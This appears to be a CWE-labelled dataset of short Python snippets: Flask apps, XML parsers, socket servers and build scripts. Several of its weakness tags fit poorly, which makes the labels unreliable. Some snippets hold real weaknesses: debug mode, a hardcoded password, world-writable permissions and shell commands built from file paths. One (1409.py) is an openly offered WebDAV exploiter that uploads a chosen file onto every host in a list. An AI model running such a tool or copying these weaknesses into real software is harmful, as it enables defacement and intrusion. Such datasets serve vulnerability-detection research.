CWE-611: Improper Restriction of XML External Entity Reference
# -*- coding: utf-8 -*- from flask import Flask,render_template,url_for,request import pickle import preprocessing from textblob import TextBlob from gensim.summarization import keywords from gensim.summarization import summarize import spacy # load the model from disk clf = pickle.load(open('nb_clf.pkl', 'rb')) cv=pickle.load(open('tfidf_model.pkl','rb')) app = Flask(__name__) # load the spacy english model nlp = spacy.load("en_core_web_sm") #home @app.route('/') def home(): return render_template('home.html') #Sentiment @app.route('/nlpsentiment') def sentiment_nlp(): return render_template('sentiment.html') @app.route('/sentiment',methods = ['POST','GET']) def sentiment(): if request.method == 'POST': message = request.form['message'] text = [message] data = preprocessing.text_Preprocessing(text) vect = cv.transform(text) my_prediction = clf.predict(vect) Keywords = keywords(message) Keywords = 'Keywords =' + str(Keywords) new = Keywords.split('\n') newstr = '' for word in new: newstr = newstr + word + ', ' sum_message = summarize(message) overview = TextBlob(message) Polarity = round(overview.sentiment.polarity,2) Polarity = 'Polarity =' + str(Polarity) Subjectivity = round(overview.sentiment.subjectivity,2) Subjectivity = 'Subjectivity =' + str(Subjectivity) return render_template('sentiment.html', prediction=my_prediction,newstr=newstr,sum_message=sum_message,Polarity=Polarity,Subjectivity=Subjectivity) if __name__ == '__main__': app.run(debug=True)
2794.py
CWE-489: Active Debug Code
import charming as app img = None @app.setup def setup(): global img app.no_cursor() # Set double mode to draw image better app.full_screen(app.DOUBLE) # Load image in setup() only once img = app.load_image('./images/test.png') @app.draw def draw(): size = 8 app.translate(size, size) with app.open_context(): app.image_mode(app.CORNER) # default app.image(img, 0, 0, size, size) with app.open_context(): app.translate(size * 2, 0) app.image_mode(app.CENTER) app.image(img, 0, 0, size, size) with app.open_context(): app.translate(size * 4, 0) app.image_mode(app.RADIUS) app.image(img, 0, 0, size, size) with app.open_context(): app.translate(size * 6, 0) app.image_mode(app.CORNERS) app.image(img, 2, 2, size, size) app.translate(0, size * 2 + 2) with app.open_context(): app.image_mode(app.CORNER) # default app.translate(size, 0) app.rotate(app.PI / 3) app.tint(' ') app.image(img, 0, 0, size, size) with app.open_context(): app.translate(size * 3, 0) app.image_mode(app.CENTER) app.scale(1.5) app.tint('@', app.MAGENTA) app.image(img, 0, 0, size, size) with app.open_context(): app.translate(size * 5, 0) app.shear_x(app.QUARTER_PI) app.image_mode(app.CORNERS) app.tint('Q', app.RED) app.image(img, 2, 2, size, size) app.no_loop() app.run()
2850.py
CWE-668: Exposure of Resource to Wrong Sphere
#!/usr/bin/env python import jinja2 import os import mkdocs.build from mkdocs.build import build from mkdocs.config import load_config if __name__ == "__main__": # Build documentation config = load_config(options=None) build(config) # Load templates template_env = jinja2.Environment(loader = jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), 'theme'))) index_template = template_env.get_template('home.html') community_template = template_env.get_template('community.html') # Home page with open('site/index.html', 'w') as f: f.write(index_template.render( page="home" )) # Community page with open('site/community.html', 'w') as f: f.write(community_template.render( page="community" ))
2801.py
CWE-116: Improper Encoding or Escaping of Output
# Stubs for xml.etree.ElementInclude (Python 3.4) from typing import Union, Optional, Callable from xml.etree.ElementTree import Element XINCLUDE = ... # type: str XINCLUDE_INCLUDE = ... # type: str XINCLUDE_FALLBACK = ... # type: str class FatalIncludeError(SyntaxError): ... def default_loader(href: Union[str, bytes, int], parse: str, encoding: Optional[str]=...) -> Union[str, Element]: ... # TODO: loader is of type default_loader ie it takes a callable that has the # same signature as default_loader. But default_loader has a keyword argument # Which can't be represented using Callable... def include(elem: Element, loader: Callable[..., Union[str, Element]]=...) -> None: ...
264.py
CWE-611: Improper Restriction of XML External Entity Reference
from gensim.summarization import summarize from bs4 import BeautifulSoup import requests # # This recipe uses automatic computer science Paper generation tool from mit.edu # You can generate your own paper by visiting https://pdos.csail.mit.edu/archive/scigen/ # and click generate. # # This example needs large amount of text that needs to be available for summary. # So, we are using this paper generation tool and extracting the 'Introduction' section # to do the summary analysis. # urls = { 'Daff: Unproven Unification of Suffix Trees and Redundancy': 'http://scigen.csail.mit.edu/scicache/610/scimakelatex.21945.none.html', 'CausticIslet: Exploration of Rasterization': 'http://scigen.csail.mit.edu/scicache/790/scimakelatex.1499.none.html' } for key in urls.keys(): url = urls[key] r = requests.get(url) soup = BeautifulSoup(r.text, 'html.parser') data = soup.get_text() pos1 = data.find("1  Introduction") + len("1  Introduction") pos2 = data.find("2  Related Work") text = data[pos1:pos2].strip() print("PAPER URL: {}".format(url)) print("TITLE: {}".format(key)) print("GENERATED SUMMARY: {}".format(summarize(text))) print()
1106.py
CWE-319: Cleartext Transmission of Sensitive Information
import MySQLdb import bcrypt import psycopg2 import sys import hiredis import platform from flask import Flask app = Flask(__name__) port = int(sys.argv[1]) @app.route("/") def hello(): return "Hello World!" @app.route("/version") def version(): return platform.python_version() @app.route("/unicode") def unicode(): return "max unicode: %d" % sys.maxunicode @app.route("/bcrypt") def test_bcrypt(): return bcrypt.hashpw("Hello, bcrypt".encode('utf-8'), bcrypt.gensalt(prefix=b"2a")) @app.route("/mysql") def test_mysql(): try: MySQLdb.connect(passwd="moonpie", db="testing") except MySQLdb.OperationalError as e: return e.args[1] @app.route("/pg") def test_pg(): try: psycopg2.connect("dbname=test user=postgres") except psycopg2.OperationalError as e: return e.args[0] @app.route("/redis") def test_redis(): reader = hiredis.Reader() reader.feed("$5\r\nHello\r\n") return reader.gets() app.debug = True if __name__ == "__main__": app.run(host='0.0.0.0', port=port)
274.py
CWE-668: Exposure of Resource to Wrong Sphere
''' Templates are html files. Inorder for flask to render them , they must be stored inside a folder templates ''' from flask import Flask, render_template #? render_template is used to render html files app = Flask(__name__) @app.route('/') @app.route('/index') def index(): return render_template('index.html') if __name__ == "__main__": app.run(debug=True)
2811.py
CWE-489: Active Debug Code
# Copyright 2008 Thomas Quemard # # Paste-It is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published # by the Free Software Foundation; either version 3.0, or (at your option) # any later version. # # Paste-It is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public # License for more details. from google.appengine.api import users import hashlib import app import app.model class User: def refresh (self): guser = users.get_current_user() self.db_user = None self.id = None self.is_google_admin = False self.is_logged_in = False self.url = "" if guser: self.google_id = guser.user_id() self.google_email = guser.email() self.gravatar_id = hashlib.md5(self.google_email).hexdigest() self.is_logged_in_google = True self.is_google_admin = users.is_current_user_admin() else: self.google_id = "" self.google_email = "" self.gravatar_id = "" self.is_logged_in_google = False if self.google_id != "": qry_user = app.model.User.all() qry_user.filter("google_id =", self.google_id) self.db_user = qry_user.get() if self.db_user: self.is_logged_in = True self.id = self.db_user.id self.paste_count = self.db_user.paste_count self.url = app.url("users/%s", self.id) _user = User() def get_current_user (): return _user
2421.py
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
#!/usr/bin/env python # -*- coding: utf-8 -*- import os #import sys #import subprocess #from flask_script import Manager, Shell, Server from modori.app import create_app from modori.settings import DevConfig, ProdConfig if os.environ.get("modori_ENV") == 'prod': app = create_app(ProdConfig) else: app = create_app(DevConfig) #HERE = os.path.abspath(os.path.dirname(__file__)) #TEST_PATH = os.path.join(HERE, 'tests') #app = Flask(app) #def _make_context(): # """Return context dict for a shell session so you can access # app, db, and the User model by default. # """ # return {'app': app, 'db': db, 'User': User} #@manager.command #def test(): # """Run the tests.""" # import pytest # exit_code = pytest.main([TEST_PATH, '--verbose']) # return exit_code # #manager.add_command('server', Server()) #manager.add_command('shell', Shell(make_context=_make_context)) if __name__ == '__main__': app.run(host='0.0.0.0')
2874.py
CWE-668: Exposure of Resource to Wrong Sphere
############################################################################## # # Copyright (c) 2005 Zope Corporation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """Miscellaneous utilities.""" __all__ = ["rmtree_force", ] def rmtree_force(path): """Like shutil.rmtree(path), but deletes read-only files too. This is an important distinction on Windows, where a file marked read-only cannot be deleted by os.remove(). """ import shutil import os if not os.path.exists(path): return # Python 2.4's rmtree has a sufficient error hook, but 2.3's does not. # So, make everything readable first by walking the tree. for root, dirs, files in os.walk(path): for fname in files: os.chmod(os.path.join(root, fname), 0666) shutil.rmtree(path)
1639.py
CWE-276: Incorrect Default Permissions
#!/usr/bin/env python # Python Network Programming Cookbook, Second Edition -- Chapter - 1 # This program is optimized for Python 2.7.12 and Python 3.5.2. # It may run on any other version with/without modifications. import socket import sys def reuse_socket_addr(): sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) # Get the old state of the SO_REUSEADDR option old_state = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR ) print ("Old sock state: %s" %old_state) # Enable the SO_REUSEADDR option sock.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) new_state = sock.getsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR ) print ("New sock state: %s" %new_state) local_port = 8282 srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind( ('', local_port) ) srv.listen(1) print ("Listening on port: %s " %local_port) while True: try: connection, addr = srv.accept() print ('Connected by %s:%s' % (addr[0], addr[1])) except KeyboardInterrupt: break except socket.error as msg: print ('%s' % (msg,)) if __name__ == '__main__': reuse_socket_addr()
1126.py
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
#!/usr/bin/python3 """Script that takes your GitHub credentials""" if __name__ == "__main__": import sys import requests url = "http://0.0.0.0:5000/search_user" if len(sys.argv) == 1: data = {'q': ""} else: data = {'q': sys.argv[1]} try: response = requests.post(url, data) json = response.json() if not json: print("No result") else: print("[{}] {}".format(json.get("id"), json.get("name"))) except: print("Not a valid JSON")
2853.py
CWE-319: Cleartext Transmission of Sensitive Information
#!/usr/bin/env python2 import requests import json def main(): module = AnsibleModule( argument_spec = dict( host = dict(required=True), username = dict(required=True), password = dict(required=True) ) ) device = module.params.get('host') username = module.params.get('username') password = module.params.get('password') url='http://' + host + '/ins' switchuser=username switchpassword=password myheaders={'content-type':'application/json-rpc'} payload=[ { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "show version", "version": 1.2 }, "id": 1 } ] response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json() version = response['result']['body']['sys_ver_str'] data = json.dumps({"version": version}) module.exit_json(changed=False, msg=str(data)) from ansible.module_utils.basic import AnsibleModule if __name__ == '__main__': main()
1144.py
CWE-319: Cleartext Transmission of Sensitive Information
import os import requests def download_file(url, path): """ def download_model(model_url) download pretrained h5 __model file Args: url (str): __model download url path (str): download path Returns: True if download succeed False otherwise """ try: request = requests.get(url, allow_redirects=True) path_parent = os.path.abspath(os.path.join(path, os.pardir)) os.makedirs(path_parent, exist_ok=True) open(path, 'wb').write(request.content) return True except: return False def update_model(model_path): pass
2358.py
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
""" An example how to generate java code from textX model using jinja2 template engine (http://jinja.pocoo.org/docs/dev/) """ from os import mkdir from os.path import exists, dirname, join import jinja2 from entity_test import get_entity_mm def main(debug=False): this_folder = dirname(__file__) entity_mm = get_entity_mm(debug) # Build Person model from person.ent file person_model = entity_mm.model_from_file(join(this_folder, 'person.ent')) def javatype(s): """ Maps type names from PrimitiveType to Java. """ return { 'integer': 'int', 'string': 'String' }.get(s.name, s.name) # Create output folder srcgen_folder = join(this_folder, 'srcgen') if not exists(srcgen_folder): mkdir(srcgen_folder) # Initialize template engine. jinja_env = jinja2.Environment( loader=jinja2.FileSystemLoader(this_folder), trim_blocks=True, lstrip_blocks=True) # Register filter for mapping Entity type names to Java type names. jinja_env.filters['javatype'] = javatype # Load Java template template = jinja_env.get_template('java.template') for entity in person_model.entities: # For each entity generate java file with open(join(srcgen_folder, "%s.java" % entity.name.capitalize()), 'w') as f: f.write(template.render(entity=entity)) if __name__ == "__main__": main()
1105.py
CWE-116: Improper Encoding or Escaping of Output
"""Cloud Foundry test""" from flask import Flask, jsonify import os import collections app = Flask(__name__) port = int(os.getenv('VCAP_APP_PORT', 8080)) @app.route('/vcap') def vcap(): vcap_services = os.getenv('VCAP_SERVICES', "") return vcap_services @app.route('/appd') def appd(): env_vars = ["APPD_ACCOUNT_ACCESS_KEY", "APPD_ACCOUNT_NAME", "APPD_APP_NAME", "APPD_CONTROLLER_HOST", "APPD_CONTROLLER_PORT", "APPD_NODE_NAME", "APPD_SSL_ENABLED","APPD_TIER_NAME"] env_vars.sort() env_dict = collections.OrderedDict([(envKey, os.getenv(envKey))for envKey in env_vars]) return jsonify(env_dict) if __name__ == '__main__': app.run(host='0.0.0.0', port=port)
277.py
CWE-668: Exposure of Resource to Wrong Sphere
# encoding: utf-8 # Copyright (C) 2016 John Törnblom ''' Example on how to extend the functionallity of rsl.gen_erate by defining custom bridges and string formatters. ''' import hashlib import sys from rsl import gen_erate from rsl import bridge from rsl import string_formatter @bridge('HASH.MD5') def hash_md5(s): try: result = hashlib.md5(s).hexdigest() success = True except: result = '' success = False return {'success': success, 'result': result} @string_formatter('trmquot') def remove_quot(s): QUOTES = "'\"" first_index = 0 last_index = len(s) - 1 if s[0] in QUOTES: first_index += 1 if s[-1] in QUOTES: last_index +- 1 return s[first_index:last_index] print('Running my custom version of gen_erate') rc = gen_erate.main() sys.exit(rc)
2436.py
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
"""Facility for placeholder socket class definition.""" ### standard library import from xml.etree.ElementTree import Element ### local imports from .surfs import ( HOLLOW_SOCKET_CIRCLE_SURF, ) from .base import Socket from ...colorsman.colors import HOLLOW_SOCKET_OUTLINE class PlaceholderSocket(Socket): """A socket which represents a future input socket.""" line_color = HOLLOW_SOCKET_OUTLINE def __init__(self, node, parameter_name, center=(0, 0)): """Store arguments. Parameters ========== node (graphman.calnode.main.CallableNode object) node to which this socket belongs. parameter_name (string) represents the name of the parameter. """ ### store arguments ## node instance self.node = node ## store parameter name argument self.parameter_name = parameter_name ### assign image and create rect from it self.image = HOLLOW_SOCKET_CIRCLE_SURF self.rect = self.image.get_rect() ### position rect setattr(self.rect, "center", center) def get_input_socket(self): """Return a new input socket from the node.""" return self.node.get_input_socket(self.parameter_name) def svg_repr(self): socket_radius_str = str(7 - 1) cx_str, cy_str = map(str, self.rect.center) return Element( "circle", { "cx": cx_str, "cy": cy_str, "r": socket_radius_str, "class": "hollow_socket", }, )
1449.py
CWE-611: Improper Restriction of XML External Entity Reference
# -*- coding: utf-8 -*- from flask import Flask,render_template,url_for,request import pickle import preprocessing # load the model from disk clf = pickle.load(open('nb_clf.pkl', 'rb')) cv=pickle.load(open('tfidf_model.pkl','rb')) app = Flask(__name__) @app.route('/') def home(): return render_template('home.html') @app.route('/predict',methods=['POST']) def predict(): if request.method == 'POST': message = request.form['message'] if(len(message)>2): text = [message] data = preprocessing.text_Preprocessing(text) vect = cv.transform(data) my_prediction = clf.predict(vect) else: my_prediction=3 return render_template('home.html',prediction = my_prediction) if __name__ == '__main__': app.run(debug=True)
2793.py
CWE-489: Active Debug Code
# Copyright 2020 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import os import shutil import subprocess import sys def main(): description = 'Packages WebKit build for Clusterfuzz.' parser = argparse.ArgumentParser(description=description) parser.add_argument('--output', help='Name of the output file.') parser.add_argument('--webkit_build', help='WebKit build directory to copy.') parser.add_argument('--clusterfuzz_script', help='Clusterfuzz script to copy.') parser.add_argument('--clang_asan_library', help='Clang ASan library to copy.') opts = parser.parse_args() if os.path.exists(opts.output): shutil.rmtree(opts.output) shutil.copytree(opts.webkit_build, opts.output, symlinks=True) shutil.copyfile( opts.clusterfuzz_script, os.path.join(opts.output, os.path.basename(opts.clusterfuzz_script))) shutil.copyfile( opts.clang_asan_library, os.path.join(opts.output, os.path.basename(opts.clang_asan_library))) zip_command = ['zip', '--symlinks', '-r', os.extsep.join([opts.output, 'zip']), opts.output] proc = subprocess.Popen(zip_command) proc.communicate() return proc.returncode if __name__ == '__main__': sys.exit(main())
2484.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
""" Python AIML Validator, v1.1 Author: Cort Stratton (cort@cortstratton.org) Usage: aimlvalidate.py file1.aiml [file2.aiml ...] """ # Revision history: # # 1.0.1: Redirected stderr to stdout # 1.0: Initial release import aiml import glob import sys import xml.sax if __name__ == "__main__": # Need input file(s)! if len(sys.argv) < 2: print __doc__ sys.exit(2) # AimlParser prints its errors to stderr; we redirect stderr to stdout. sys.stderr = sys.stdout # Iterate over input files validCount = 0 docCount = 0 for arg in sys.argv[1:]: # Input files can contain wildcards; iterate over matches for f in glob.glob(arg): parser = xml.sax.make_parser(["aiml.AimlParser"]) handler = parser.getContentHandler() docCount += 1 print "%s:" % f try: # Attempt to parse the file. parser.parse(f) # Check the number of parse errors. if handler.getNumErrors() == 0: validCount += 1 print "PASSED\n" else: print "FAILED\n" except xml.sax.SAXParseException, msg: # These errors occur if the document does not contain # well-formed XML (e.g. open or unbalanced tags). If # they occur, parsing the whole document is aborted # immediately. print "FATAL ERROR: %s\n" % msg # Print final results print "%d out of %d documents are AIML 1.0.1 compliant." % (validCount, docCount) if docCount == validCount: print "Congratulations!" else: print """For help resolving syntax errors, refer to the AIML 1.0.1 specification available on the web at: http://alicebot.org/TR/2001/WD-aiml"""
1124.py
CWE-611: Improper Restriction of XML External Entity Reference
#!/usr/bin/env python # Copyright (c) 2010 ActiveState Software Inc. import sys from os.path import join, dirname, abspath, exists import subprocess import shutil def do_clean_unicode_directories(): """ Remove the unicode directories after running `ci2 test`.""" dirpath = dirname(abspath(__file__)) for name in ("scan_inputs", "scan_outputs", "scan_actual"): unipath = join(dirpath, name, "unicode") if exists(unipath): if sys.platform.startswith("win"): # Must use the Windows rd command, as the Python tools will # break trying to walk over the directory contents. cmd = ["rd", "/s", "/q"] cmd.append(unipath) p = subprocess.Popen(cmd, cwd=dirpath, shell=True) retval = p.wait() else: shutil.rmtree(unipath) def main(): do_clean_unicode_directories() if __name__ == "__main__": main()
1217.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
""" Important note on windows: you may need to manually copy the libmsvcrXXX.a files to libmsvcrXXXd.a """ import os import glob import sys from subprocess import Popen, PIPE import subprocess FORTRAN_ROOT = os.path.abspath('..') FORTRAN_ROOT = r'D:\Code\REFPROP-cmake\FORTRANsrc' # Call f2py to generate .pyf file interface_files = ['PASS_FTN.FOR'] interface_file_strings = [os.path.join(FORTRAN_ROOT, f) for f in interface_files] print('Writing the .pyf file with numpy.f2py, please be patient...') print(interface_file_strings) args = ['python','-m','numpy.f2py','--quiet','-h','f2pyREFPROP.pyf','-m','f2pyREFPROP','--overwrite-signature'] + interface_file_strings p = Popen(args, stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() rc = p.returncode with open('stdout.txt','w') as fp: fp.write(output.decode('utf-8')) with open('stderr.txt','w') as fp: fp.write(err.decode('utf-8')) source_files = glob.glob(os.path.join(FORTRAN_ROOT, "*.FOR")) args = ['python','-m','numpy.f2py','-c','--f90flags="-fno-range-check -ffree-line-length-none"','--fcompiler=gnu95','--compiler=mingw32','f2pyREFPROP.pyf'] + source_files subprocess.call(args, shell = True)
1110.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
from ..core import speak import requests trigger = ("Проверь подключение", "проверь подключение", "Проверить подключение", "проверить подключение") def main(say, widget): for i in trigger: if i in say: try: requests.get("http://gnu.org/") # Получение соединения с сайтом toSpeak = "Имеется подключение к сети." except Exception: toSpeak = "Нет подключения к сети." break else: toSpeak = "" if toSpeak != "": speak.speak(toSpeak, widget) return toSpeak
2369.py
CWE-319: Cleartext Transmission of Sensitive Information
import requests import sys print(""" __ __ ___. ________ _________ ____ / \ / \ ____\_ |__ \______ \ / _ \ \ / / \ \/\/ // __ \| __ \ | | \ / /_\ \ Y / \ /\ ___/| \_\ \| ` \/ | \ / \__/\ / \___ >___ /_______ /\____|__ /\___/ \/ \/ \/ \/ \/ """ ) if len(sys.argv) != 3: print("\n\033[34;1m[*]\033[0m python "+sys.argv[0]+" list.txt script.html") exit(0) print("\n\033[34;1m[*]\033[0m Python WebDav Exploiter\n\033[34;1m[*]\033[0m Sharing Information Technology\n") target = open(sys.argv[1], 'r') while True: scheker = open(sys.argv[2]).read() sukses = open('webdav_result.txt', 'a') host = target.readline().replace('\n','') if not host: break if not host.startswith('http'): host = 'http://' + host outname = '/'+sys.argv[2] print('\033[34;1m[*]\033[0m Sending Files : '+sys.argv[2]) print('\033[34;1m[*]\033[0m Size File : '+str(len(scheker))) print('\033[34;1m[*]\033[0m Target : '+host) try: r = requests.request('put', host + outname, data=scheker, headers={'Content-Type':'application/octet-stream'}) except: print('\033[31;1m[-]\033[0m Failed : Null Respone\n') pass continue if r.status_code == 200: print('\033[32;1m[+]\033[0m Sukses : '+host+outname+'\n') sukses.write(host+outname+'\n') else: print('\033[31;1m[-]\033[0m Failed : '+host+outname+'\n') print("\033[34;1m[*]\033[0m Output Saved On : webdav_output.txt")
1409.py
CWE-319: Cleartext Transmission of Sensitive Information
# Python rogram to find the SHA-1 message digest of a file # importing the hashlib module import hashlib def hash_file(filename): """"This function returns the SHA-1 hash of the file passed into it""" # make a hash object h = hashlib.sha1() # open file for reading in binary mode with open(filename,'rb') as file: # loop till the end of the file chunk = 0 while chunk != b'': # read only 1024 bytes at a time chunk = file.read(1024) h.update(chunk) # return the hex representation of digest return h.hexdigest() message = hash_file("track1.mp3") print(message)
2720.py
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
import xml.etree.ElementTree as ET import sys # simple usage statement, hopefully helpful enough to figure # out what's going wrong if the output isn't what's expected. if len(sys.argv) < 3: sys.stderr.write("Usage: %s <input file> <output file> [<key=val>, <key=val>, ...]\n\n" % sys.argv[0]) sys.stderr.write("E.g: %s input.xml output.xml \"*:dbname=gis\" \"ocean_layer:dbname=natural_earth\"\n\n" % sys.argv[0]) sys.stderr.write("Each of the key-value pairs will replace parameters in the datasources in the layers in the input file, with the key being <layer name>:<parameter name>. Optionally the layer name can be '*', in which case it applies as a default when there is no more specific key.\n") sys.exit(1) input_file = sys.argv[1] output_file = sys.argv[2] overrides = dict() for arg in sys.argv[3:]: (k, v) = arg.split('=') # sanity checking if ':' not in k: sys.stderr.write("Key %s does not contain a colon separating the layer name from the datasource parameter name. Keys are expected to be of the form \"<layer name>:<parameter name>\" where the layer name can optionally be the wildcard '*'.\n" % repr(k)) sys.exit(1) if v is None: sys.stderr.write("Value for argument %s is null. The arguments should be of the form \"key=value\".\n" % repr(arg)) sys.exit(1) overrides[k] = v tree = ET.parse(input_file) root = tree.getroot() for layer in root.iter('Layer'): layer_name = layer.get('name') for datasource in layer.iter('Datasource'): for parameter in datasource.iter('Parameter'): p = parameter.get('name') layer_param = ("%s:%s" % (layer_name, p)) generic_param = "*:%s" % p if layer_param in overrides: parameter.text = overrides[layer_param] elif generic_param in overrides: parameter.text = overrides[generic_param] tree.write(output_file)
2714.py
CWE-611: Improper Restriction of XML External Entity Reference
''' Created on Aug 9, 2015 @author: mike ''' import xml.etree.ElementTree as ET class ConfigReader(object): def __init__(self, filename): self.filename = filename self.__config = None def __read_config(self, filename): import os tree = ET.parse(filename) root = tree.getroot() paths = {} for path_group in root.iter('pathGroup'): root_path = path_group.attrib['path'] for path in path_group.iter('path'): key = path.attrib['key'] subpath = path.attrib['subpath'] paths[key]= os.path.join(root_path, subpath) return paths @property def config(self): if not self.__config: self.__config = self.__read_config(self.filename) return self.__config
2803.py
CWE-611: Improper Restriction of XML External Entity Reference
import urllib import xml.etree.ElementTree as ET serviceurl = 'http://maps.googleapis.com/maps/api/geocode/xml?' while True: address = raw_input('Enter location: ') if len(address) < 1 : break url = serviceurl + urllib.urlencode({'sensor':'false', 'address': address}) print 'Retrieving', url uh = urllib.urlopen(url) data = uh.read() print 'Retrieved',len(data),'characters' print data tree = ET.fromstring(data) results = tree.findall('result') lat = results[0].find('geometry').find('location').find('lat').text lng = results[0].find('geometry').find('location').find('lng').text location = results[0].find('formatted_address').text print 'lat',lat,'lng',lng print location
2349.py
CWE-611: Improper Restriction of XML External Entity Reference
from flask import Flask, jsonify, abort, request import os import sys app = Flask(__name__) @app.route('/') def welcome(): return 'Welcome to Python on Cloud Foundry!' @app.route('/health') def health(): return 'UP' @app.route('/v1/api', methods=['GET']) def get(): return jsonify({ 'message': 'hello world' }) if __name__ == '__main__': app.run(host='0.0.0.0', port=int(os.getenv('PORT', 5001)))
276.py
CWE-668: Exposure of Resource to Wrong Sphere
# -*- encoding: utf-8 -*- import unittest from amara.lib import testsupport from amara.bindery import parse from amara import tree from xml.dom import Node import os import tempfile MONTY_XML = """<monty> <python spam="eggs">What do you mean "bleh"</python> <python ministry="abuse">But I was looking for argument</python> </monty>""" SILLY_XML = """<parent> <element name="a">A</element> <element name="b">B</element> </parent>""" SILLY_NS_XML = """<a:parent xmlns:a="urn:bogus:a" xmlns:b="urn:bogus:b"> <b:sillywrap> <a:element name="a">A</a:element> <a:element name="b">B</a:element> </b:sillywrap> </a:parent>""" NS_XML = """<doc xmlns:a="urn:bogus:a" xmlns:b="urn:bogus:b"> <a:monty/> <b:python/> </doc>""" SANE_DEFAULT_XML = """<doc xmlns="urn:bogus:a"> <monty/> <python/> </doc>""" SANE_DEFAULT_XML_PREFIXES = {u'x': u'urn:bogus:a'} class Test_sane_default_1(unittest.TestCase): """Testing a sane document using default NS""" def test_specify_ns(self): """Parse with string""" doc = parse(SANE_DEFAULT_XML, prefixes=SANE_DEFAULT_XML_PREFIXES) print doc.doc.xml_namespaces.copy() self.assertEqual(len(list(doc.xml_select(u'//x:monty'))), 1) return if __name__ == '__main__': testsupport.test_main()
2842.py
CWE-611: Improper Restriction of XML External Entity Reference
from flask import Flask,render_template from flask_sqlalchemy import SQLAlchemy data =['Name','Branch','Physics','Chemistry','Maths','Language','Computer'] app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI']= 'sqlite:///marksheet.db' db =SQLAlchemy(app) class Student(db.Model): id = db.Column(db.Integer,primary_key=True) Name = db.Column(db.String(32), nullable=False) Branch = db.Column(db.String(32), nullable=False, default= 'N/A') Physics = db.Column(db.Float,nullable =False, default = 0) Chemistry = db.Column(db.Float, nullable= False, default = 0) Maths = db.Column(db.Float, nullable= False, default = 0) Language = db.Column(db.Float, nullable= False, default = 0) Computer = db.Column(db.Float, nullable= False, default = 0) @app.route('/') @app.route('/home', methods=['GET','POST']) def home(): return render_template("index.html", details=data) # return "This works" if __name__ == "__main__": app.run(debug=True)
2808.py
CWE-489: Active Debug Code
from xml.dom.minidom import Document mainNode = Document() cars = mainNode.createElement("cars") mainNode.appendChild(cars) car = mainNode.createElement("car") cars.appendChild(car) ID = mainNode.createElement("id") car.appendChild(ID) info = mainNode.createTextNode("C1") ID.appendChild(info) make = mainNode.createElement("make") car.appendChild(make) info = mainNode.createTextNode("A") make.appendChild(info) model = mainNode.createElement("id") car.appendChild(model) info = mainNode.createTextNode("B") model.appendChild(info) year = mainNode.createElement("year") car.appendChild(year) info = mainNode.createTextNode("2000") year.appendChild(info) xmlFile = open("car.xml", "w") xmlFile.write(mainNode.toprettyxml()) xmlFile.close()
2428.py
CWE-611: Improper Restriction of XML External Entity Reference
#!python # # Change all GUIDs in the give files. # # Note: WiX (MSI?) requires uppercase A-F hex letters. # import os import sys import re from os.path import exists import shutil def new_guid(): import pythoncom guid = str(pythoncom.CreateGuid()) guid = guid[1:-1] # strip of the {}'s return guid def main(): for filepath in sys.argv[1:]: print "changing GUIDs in '%s':" % filepath fin = open(filepath, 'r') original = content = fin.read() fin.close() # E.g.: Guid="32A46AA4-051B-4574-A6B2-E7B3C7666CB6" pattern = re.compile('"([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})"') for match in pattern.finditer(content): start, end = match.start(1), match.end(1) guid = new_guid() assert (end-start) == len(guid) print " s/%s/%s/" % (content[start:end], guid) content = content[:start] + guid + content[end:] if content == original: print " no changes, leaving alone" else: bakpath = filepath+".bak" print " backing up original to '%s'" % bakpath if exists(bakpath): os.chmod(bakpath, 0777) os.remove(bakpath) shutil.copy2(filepath, bakpath) try: fout = open(filepath, 'w') except EnvironmentError, ex: print " p4 edit %s" % filepath os.system("p4 edit %s" % filepath) fout = open(filepath, 'w') fout.write(content) fout.close() main()
1645.py
CWE-276: Incorrect Default Permissions
import socket s = socket.socket() print("Socket successfully created") port = 777 s.bind(('', port)) print("socket binded to %s" % (port)) s.listen(5) # 5 incoming connections will be queued up print("socket is listening") while True: c, addr = s.accept() while True: print('Got connection from', addr, "\n Give your message\n") message = input() c.send(message.encode()) message = c.recv(1024).decode() print("Received ", message) # Close the connection with the client c.close() # Breaking once connection closed break
2362.py
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
